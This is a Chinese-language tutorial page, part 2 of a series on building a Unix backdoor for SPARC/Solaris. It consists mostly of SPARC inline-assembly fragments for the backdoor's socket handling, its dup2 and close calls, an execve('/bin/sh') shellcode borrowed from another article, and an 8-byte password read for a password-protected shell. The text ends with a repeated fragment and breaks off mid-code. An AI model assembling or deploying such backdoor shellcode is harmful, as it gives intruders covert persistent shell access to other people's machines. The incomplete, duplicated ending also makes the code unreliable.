歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> 更多Linux >> SPARC/Solaris下的Unix後門初探(2)

SPARC/Solaris下的Unix後門初探(2)

日期:2017/2/27 9:47:10   编辑:更多Linux
  這段代碼僅僅演示了很重要的兩個部分,一個是設置文本段可寫,一個是成功創建套 接字並阻塞在accept()系統調用處,一旦有入連接,程序就正常終止了。幸運的是, 在經歷了太多磨難後,SPARC沒有繼續為難我們,一切按照預想的發展。 編寫syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ): -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 0x06, %o0 ! 第一個參數6 ld [ %l7 ], %o1 ! 第二個參數s clr %g1 ta 8 mov 0x3e, %o0 ! 第一個參數62 ld [ %l7 + 4 ], %o1 ! 第二個參數c mov 0x09, %o2 clr %o3 clr %g1 ta 8 mov 0x06, %o0 ! 第一個參數6 ld [ %l7 + 4 ], %o1 ! 第二個參數c clr %g1 ta 8 "); } /* end of main */ -------------------------------------------------------------------------- 還有一個更煩人的execve( name[0], name, 0 ),可以從 << solaris for sparc下shellcode的編寫(三) >>中偷一些代碼過來: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4 or %l4, 0x16e, %l4


sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5 and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh add %sp, 8, %o1 ! $o1 存放一個地址,該地址處存放了指向字符串的指針 xor %o2, %o2, %o2 ! %o2寄存器清零 add %sp, 16, %sp ! 留出存儲空間 std %l4, [%sp - 16] ! 存放字符串 st %o0, [%sp - 8] ! 存放字符串指針 st %g0, [%sp - 4] ! %g0總是為0 mov 0x3b, %g1 ! 將0x3b拷貝到%g1寄存器中 ta 8 ! 執行中斷指令ta 8(execve()完成) "); } /* end of main */ -------------------------------------------------------------------------- 最後研究一下syscall( 3, c, pass, 8 ): -------------------------------------------------------------------------- 0x1033c <main+392>: mov 3, %o0 0x10340 <main+396>: ld [ %o1 + 0x1b0 ], %o1 0x10344 <main+400>: sethi %hi(0x26400), %o3 0x10348 <main+404>: or %o3, 0x158, %o2 ! 0x26558 <pass> 0x1034c <main+408>: mov 8, %o3 0x10350 <main+412>: call 0x10fec <syscall> 0x10354 <main+416>: nop -------------------------------------------------------------------------- 分析後提煉如下: -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" mov 0x03, %o0 ! 第一個參數3

ld [ %l7 + 4 ], %o1 ! 第二個參數c add %l7, 8, %o2 ! 第三個參數pass mov 0x08, %o3 ! 第四個參數8 clr %g1 ta 8 "); } /* end of main */ -------------------------------------------------------------------------- 本以為這就是最後了,猛然記起SPARC沒有repnz cmpsb指令。可以省點事的是我們強 制口令恰好8個字節,所以比較兩個usigned long即可。 -------------------------------------------------------------------------- /* gcc -o asm asm.c */ int main ( int argc, char * argv[] ) { __asm__ (" read: mov 0x03, %o0 ! 第一個參數3 ld [ %l7 + 4 ], %o1 ! 第二個參數c add %l7, 8, %o2 ! 第三個參數pass mov 0x08, %o3 ! 第四個參數8 clr %g1



mov 0x08, %o3 ! 第四個參數8 clr %g1



Copyright © Linux教程網 All Rights Reserved